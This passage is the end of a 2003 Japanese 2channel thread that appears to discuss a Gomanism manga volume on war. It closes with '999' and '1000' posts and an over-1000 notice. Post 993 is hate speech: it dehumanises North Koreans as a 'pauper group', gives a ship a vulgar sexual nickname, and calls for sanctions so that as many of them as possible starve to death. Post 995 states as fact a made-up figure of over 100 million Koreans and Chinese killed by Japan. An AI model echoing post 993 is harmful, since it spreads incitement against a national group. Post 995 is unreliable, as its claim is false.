しかも現役で。おしむらくは青年向け漫画が抜けてる事。ここらへんは
なぜか画力が最も求められる層なんで失敗してるのかも。

993 :名無しかましてよかですか?:03/08/02 23:07 ID:kbid4cIg
朝鮮民主主義人民共和国と自称する貧乏人集団に所属す
るところのマンコGO!号が何の前触れもなく平然と違
約し航海を中止した事は、彼の貧乏人集団が信義などと
いうものを一切考慮しない貧乏人集団である事を改めて
国際社会に示したと言えよう。

国際社会において当然のように尊重されているける信義
というものが、彼の貧乏人集団の眼中には全くない事は
明らかである。

国際社会は一致団結してこのような卑怯卑劣かつ低俗
低能な貧乏人集団に制裁を加え、その構成員を一人で
も多く餓死させる必要がある。


994 :名無しかましてよかですか?:03/08/02 23:30 ID:I7jT1jQb
なんだ内容じゃなくて絵に文句つけてんのか。
まあ、2ちゃんねるらしいね。

期待して読まなかったせいか、今回は分かりやすくて良い。
整理されてて混乱してない。
とくに12章、疚しいという話し。戦争を論じる、ということより
ゴーマニズムそのもののテーマが浮き彫りになっている。
社会問題とどう関わればいいのかという問い。他の言論人には
ないね。そういう視点。

995 :名無しかましてよかですか?:03/08/03 01:46 ID:5oMxtt33
>>994
当たり前であるです。それは日本の帝国主義を正当化する。事であるからです。
日本は朝鮮人中国人を1億人以上殺戮したのだから、謝罪することは当然。だけど正当化することは許せない事。です。

996 :名無しかましてよかですか?:03/08/03 02:09 ID:6JeFDn//
>>995
で、「在日が暴れています」つってハン板に応援要請か?
いい加減臭い芝居はやめろよ。

997 :名無しかましてよかですか?:03/08/03 02:32 ID:E3mRCz3o
>996
neta ni majiresu

過去ワルイ。      あからさまにネタで〜すて文章だし

998 :名無しかましてよかですか?:03/08/03 02:54 ID:6JeFDn//
>>997
だから自作自演のネタなんだろ、といってるんだよ(苦笑
よく読めれ。

999 :名無しかましてよかですか?:03/08/03 03:04 ID:OrHtd7x5
999!

1000 :名無しかましてよかですか?:03/08/03 03:04 ID:OrHtd7x5
1000!

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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